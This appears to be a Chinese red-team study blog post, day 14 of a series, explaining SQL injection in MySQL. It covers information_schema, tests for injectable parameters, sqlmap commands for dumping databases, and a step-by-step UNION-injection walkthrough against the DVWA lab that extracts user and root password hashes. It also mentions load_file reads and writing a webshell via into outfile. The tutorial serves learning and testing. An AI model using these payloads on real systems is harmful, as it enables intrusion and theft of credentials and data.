冲击红队第十四天 - SQL 注入漏洞

Posted 在下小黄

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了冲击红队第十四天 - SQL 注入漏洞相关的知识,希望对你有一定的参考价值。

大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
如若转载请注明出处 ,!!!!
今天更新的是:

  • 冲击红队第十四天 - SQL 注入漏洞


创建时间:2021年10月5日


冲击红队第十四天 - SQL 注入漏洞

  • 拓展:典型的网站架构,LAMP架构是什么?
  • 根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源。
  • 静态资源就是我们平时说的"前台"信息,包括html/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成。
  • 但是对于很多网站来说,大量的数据被存储在mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助"后端脚本"(当然这里是统称,也可以说是后端语言)的力量了。
  • 而常见的后端语言就是asp/aspx/php/jsp等,这些语言你可以理解为web服务器和mysql之间的桥梁。
  • 对于很多企业来说,最重要的就是数据。而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等。

一、漏洞描述

  • Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。

二、MySQL注入的相关知识

  • 在 MySQL 5 版本以后,MySQL 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表。
  • 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息 。
  • columns 存储该用户创建的所有数据库的库名、标名和字段名。
  • tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名。
# 在mysql5.0以后,必须要知道的几个表如下:
Information_schema:提供了所有数据库中的元数据,存储了整个mysql中的所有库//列名等信息.
Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库访问权限等信息.
Performance_schema:记录了各种日志信息
test:测试库,默认为空
  
  
# SCHEMATA表:存储了数据库中所有数据库信息
 存储字段:SCHEMA_NAME  
     
# TABLES表:存储了数据库中所有表的信息
 字段:TABLE_SCHEMA, TABLE_NAME
  
# COLUMNS表:存储了数据库中所有列的信息
 字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
  
# user_privileges:用户权限信息

MySQL 中的常用的函数:

有关select函数介绍(直接在mysql中进行查询)

语法:  select  函数名
select  user()   #查看当前mysql登录用户
select  session_user() #同上
select  database()  #查看当前使用的mysql数据库名
select  @@version  #查看当前mysql版本号
select  @@basedir  #数据库安装路径
select  @@datadir  #数据库数据存储路径
select  @@version_compile_os #操作系统信息
  
  
  
select database();  #查看当前库名;
select table_name from information_schema.tables where table_schema=database()  ;  #查看当前库下的表名
select column_name from information_schema.columns where table_schema=database() and table_name='user';  #查询列名
select name,password from user;   #获取用户名和密码列

三、SQL 注入原理

SQL 注入漏洞的产生需要满足以下两个条件 :

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的。
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

举个例子:

  • 当用户传入参数为 1’的时候,在数据库执行如下所示:
select * from users where id=1'

此 SQL 语句不符合语法规则就会报错。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
  • 当用户传入参数为 1 and 1=1 时:
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
  • 如果用户传入参数为 1 and 1=2 时:
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。
  • 由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。

判断是否存在注入:

  • 回显是指页面有数据 信息返回:
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
  • 无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中 。

三种 SQL 注释符:

# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格
  
# (url编码为%23)
-- (--后边要跟上一个或多个空格)
/* ..... */
/*! .... */ 内联注释
select * /*!22222from*/ users;   #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.

注入流程:

是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\\\wondows\\\\win.ini')#
写入 webshell select..into outfile...
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过

举个例子:


# SQLmap 注入流程: 
1. 检查注入点:
sqlmap -u "http://ooxx.com/a.php?id=1" 
2. 列数据库信息 
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs 
3. 指定数据库名列出所有表
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) --tables 
4. 指定数据库名表名列出所有字段 (爆破字段)y
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) --columns (全部表)
5. 指定数据库名表名字段dump出指定字段 
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) -C columnname(指定字段名) --dump (将结果导出)
6. cookie 注入      --cookie=COOKIE                 
在需要登录的地方,需要登录后的cookie 执行指定的 SQL 语句 --sql-query=QUERY 
代理注入 --proxy="http://127.0.0.1:8087" 

SQL 注入分类

SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:

  • UNION query SQL injection(可联合查询注入)
  • Stacked queries SQL injection(可多语句查询注入)堆叠查询
  • Boolean-based blind SQL injection(布尔型注入)
  • Error-based SQL injection(报错型注入)
  • Time-based blind SQL injection(基于时间延迟注入)

根据使用技巧来分类,SQL注入类型可分为:

• 盲注

  • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
  • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

• 报错注入:应用会显示全部或者部分的报错信息
• 堆叠注入:有的应用可以加入 ; 后一次执行多条语句
• 其他类型:

按获取数据的方式分类:

  • inband
    • 利用 Web 应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
  • inference
    • 通过 Web 的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注,通过 web 应用的其他改变来推断数据。
  • out of band (OOB)
    • 通过其他传输方式来获得数据,比如 DNS 解析协议和电子邮件。

接受请求类型区分:

  • GET 注入
    • GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码
  • POST 注入
    • POST 请求参数是放在请求 body 里的,长度没有限制
  • COOKIE 注入
    • cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

注入数据类型的区分:

  • int 整型
select * from users where id=1
  • sting 字符型
select * from users where username='admin'
  • like 搜索型
select * from news where title like '%标题% 

SQL 注入常规思路:

SQL 注入常规注入思路:

1、寻找注入点,可以通过 web 扫描工具实现(可以联动X-ray)
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

SQL 详细注入过程:

  • 判断注入
1or 1=1 #

  • 确定列数:
 1' order by 2#  正常!
 1' order by 3#  报错!


  • 猜数据库:
1' union select 1,database()#
payload 利用另一种方式:

1' union select user(),database()#

version()
得到数据库名:dvwa

PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能
够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的
时候需要和主查询的列数相同。


  • 猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到表名:guestbook,users
group_concat 分组

  • 猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

(用编码就不用单引号,用单引号就不用编码)

得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password


  • 猜用户数据:
列举出几种 payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1' union select null,concat_ws(char(32,58,32),user,password) from users #

1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99


  • 猜 root 用户:
1' union select 1,group_concat(user,password) from mysql.user#

得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B 



各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !

博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!


以上是关于冲击红队第十四天 - SQL 注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章

冲击红队第十五天 - union 联合注入

冲击红队第十五天 - union 联合注入

冲击红队第一天 - Web安全介绍与基础入门

冲击红队第一天 - Web安全介绍与基础入门

ATK&CK1红队评估实战靶场Vulnstack之第二篇web漏洞

ATK&CK1红队评估实战靶场Vulnstack之第二篇web漏洞